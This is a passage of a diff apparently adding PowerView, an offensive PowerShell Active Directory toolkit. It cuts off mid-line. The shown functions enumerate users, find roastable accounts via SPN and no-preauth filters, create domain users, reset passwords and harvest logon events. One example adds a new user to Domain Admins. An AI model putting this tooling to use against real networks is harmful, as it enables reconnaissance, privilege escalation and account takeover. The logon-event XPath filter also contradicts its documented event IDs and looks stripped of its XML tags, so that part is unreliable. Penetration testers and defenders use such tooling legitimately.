$Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') + + $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') + + $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + # Domain / Credential + if ($PSBoundParameters['Domain']) { + if ($PSBoundParameters['Credential']) { + $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + else { + $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'" + } + + $SchemaArguments = @{} + if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } + if ($TargetForest) { + $SchemaArguments['Forest'] = $TargetForest + } + } + + PROCESS { + + if ($PSBoundParameters['ReferencePropertySet']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" + $ReferenceObjectProperties = $ReferencePropertySet + } + elseif ($PSBoundParameters['ReferenceObject']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" + $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name + $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 + Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass" + } + else { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" + } + + if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { + $Objects = Get-DomainUser @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $UserReferencePropertySet + } + } + elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { + $Objects = Get-DomainGroup @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $GroupReferencePropertySet + } + } + elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { + $Objects = Get-DomainComputer @SearcherArguments + if (-not $ReferenceObjectProperties) { + $ReferenceObjectProperties = $ComputerReferencePropertySet + } + } + else { + throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName" + } + + ForEach ($Object in $Objects) { + $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name + ForEach($ObjectProperty in $ObjectProperties) { + if ($ReferenceObjectProperties -NotContains $ObjectProperty) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName + $Out | Add-Member Noteproperty 'Property' $ObjectProperty + $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty + $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') + $Out + } + } + } + } +} + + +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## + +function Get-DomainUser { +<# +.SYNOPSIS + +Return all users or specific user objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all user objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. Also accepts DOMAIN\user format. + +.PARAMETER SPN + +Switch. Only return user objects with non-null service principal names. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER AdminCount + +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER AllowDelegation + +Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + +.PARAMETER DisallowDelegation + +Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' + +.PARAMETER TrustedToAuth + +Switch. Return computer objects that are trusted to authenticate for other principals. + +.PARAMETER PreauthNotRequired + +Switch. Return user accounts with "Do not require Kerberos preauthentication" set. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainUser -Domain testlab.local + +Return all users for the testlab.local domain + +.EXAMPLE + +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" + +Return the user with the given SID, as well as Administrator. + +.EXAMPLE + +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff + +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator + +.EXAMPLE + +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation + +Search the specified OU for privileged user (AdminCount = 1) that allow delegation + +.EXAMPLE + +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon + +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon + +.EXAMPLE + +Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED + +Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) + +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local + +.INPUTS + +String + +.OUTPUTS + +PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [Switch] + $SPN, + + [Switch] + $AdminCount, + + [Parameter(ParameterSetName = 'AllowDelegation')] + [Switch] + $AllowDelegation, + + [Parameter(ParameterSetName = 'DisallowDelegation')] + [Switch] + $DisallowDelegation, + + [Switch] + $TrustedToAuth, + + [Alias('KerberosPreauthNotRequired', 'NoPreauth')] + [Switch] + $PreauthNotRequired, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + + if ($UserSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + if (-not $UserSearcher) { + Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $UserName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$UserName)" + $SearcherArguments['Domain'] = $UserDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' + } + if ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' + } + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainUser] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['PreauthNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" + Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } + else { $Results = $UserSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $User = $_ + $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + else { + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + } + $User + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" + } + } + $UserSearcher.dispose() + } + } +} + + +function New-DomainUser { +<# +.SYNOPSIS + +Creates a new domain user (assuming appropriate permissions) and returns the user object. + +TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. + +.PARAMETER SamAccountName + +Specifies the Security Account Manager (SAM) account name of the user to create. +Maximum of 256 characters. Mandatory. + +.PARAMETER AccountPassword + +Specifies the password for the created user. Mandatory. + +.PARAMETER Name + +Specifies the name of the user to create. If not provided, defaults to SamAccountName. + +.PARAMETER DisplayName + +Specifies the display name of the user to create. If not provided, defaults to SamAccountName. + +.PARAMETER Description + +Specifies the description of the user to create. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword + +Creates the 'harmj0y2' user with the specified description and password. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred + +Creates the 'harmj0y2' user with the specified description and password, using the specified +alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Name, + + [ValidateNotNullOrEmpty()] + [String] + $DisplayName, + + [ValidateNotNullOrEmpty()] + [String] + $Description, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) + + # set all the appropriate user parameters + $User.SamAccountName = $Context.Identity + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + $User.Enabled = $True + $User.PasswordNotRequired = $False + + if ($PSBoundParameters['Name']) { + $User.Name = $Name + } + else { + $User.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $User.DisplayName = $DisplayName + } + else { + $User.DisplayName = $Context.Identity + } + + if ($PSBoundParameters['Description']) { + $User.Description = $Description + } + + Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" + try { + $Null = $User.Save() + Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" + $User + } + catch { + Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" + } + } +} + + +function Set-DomainUserPassword { +<# +.SYNOPSIS + +Sets the password for a given user identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +.PARAMETER Identity + +A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +.PARAMETER AccountPassword + +Specifies the password to reset the target user's to. Mandatory. + +.PARAMETER Domain + +Specifies the domain to use to search for the user identity, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword + +Resets the password for 'andy' to the password specified. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred + +Resets the password for 'andy' usering the alternate credentials specified. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('UserName', 'UserIdentity', 'User')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ 'Identity' = $Identity } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) + + if ($User) { + Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" + try { + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + + $Null = $User.Save() + Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" + } + catch { + Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" + } + } + else { + Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" + } + } +} + + +function Get-DomainUserEvent { +<# +.SYNOPSIS + +Enumerate account logon events (ID 4624) and Logon with explicit credential +events (ID 4648) from the specified host (default of the localhost). + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function uses an XML path filter passed to Get-WinEvent to retrieve +security events with IDs of 4624 (logon events) or 4648 (explicit credential +logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). +A maximum of -MaxEvents (default of 5000) are returned. + +.PARAMETER ComputerName + +Specifies the computer name to retrieve events from, default of localhost. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents + +The maximum number of events to retrieve. Default of 5000. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer. + +.EXAMPLE + +Get-DomainUserEvent + +Return logon events on the local machine. + +.EXAMPLE + +Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) + +Return all logon events from the last 3 days from every domain controller in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 + +Return a max of 1000 logon events from the specified machine using the specified alternate credentials. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogonEvent + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogonEvent')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), + + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, + + [ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + # the XML filter we're passing to Get-WinEvent + $XPathFilter = @" + + + + + + + + + + + *[ + System[ + Provider[ + @Name='Microsoft-Windows-Security-Auditing' + ] + and + (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) + ] + ] + and + *[ + EventData[ + ( + (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') + or + Data[@Name='TargetUserName']='ANONYMOUS LOGON' + or + Data[@Name='TargetUserSID']='S-1-5-18' + ) + ] + ] + + + +"@ + $EventArguments = @{ + 'FilterXPath' = $XPathFilter + 'LogName' = 'Security' + 'MaxEvents' = $MaxEvents + } + if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + + $EventArguments['ComputerName'] = $Computer + + Get-WinEvent @EventArguments| ForEach-Object { + $Event = $_ + $Properties = $Event.Properties + Switch ($Event.Id) { + # logon event + 4624 { + # skip computer logons, for now... + if(-not $Properties[5].Value.EndsWith('$')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + TargetUserSid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonId = $Properties[7].Value + LogonType = $Properties[8].Value + LogonProcessName = $Properties[9].Value + AuthenticationPackageName = $Properties[10].Value + WorkstationName = $Properties[11].Value + LogonGuid = $Properties[12].Value + TransmittedServices = $Properties[13].Value + LmPackageName = $Properties[14].Value + KeyLength = $Properties[15].Value + ProcessId = $Properties[16].Value + ProcessName = $Properties[17].Value + IpAddress = $Properties[18].Value + IpPort = $Properties[19].Value + ImpersonationLevel = $Properties[20].Value + RestrictedAdminMode = $Properties[21].Value + TargetOutboundUserName = 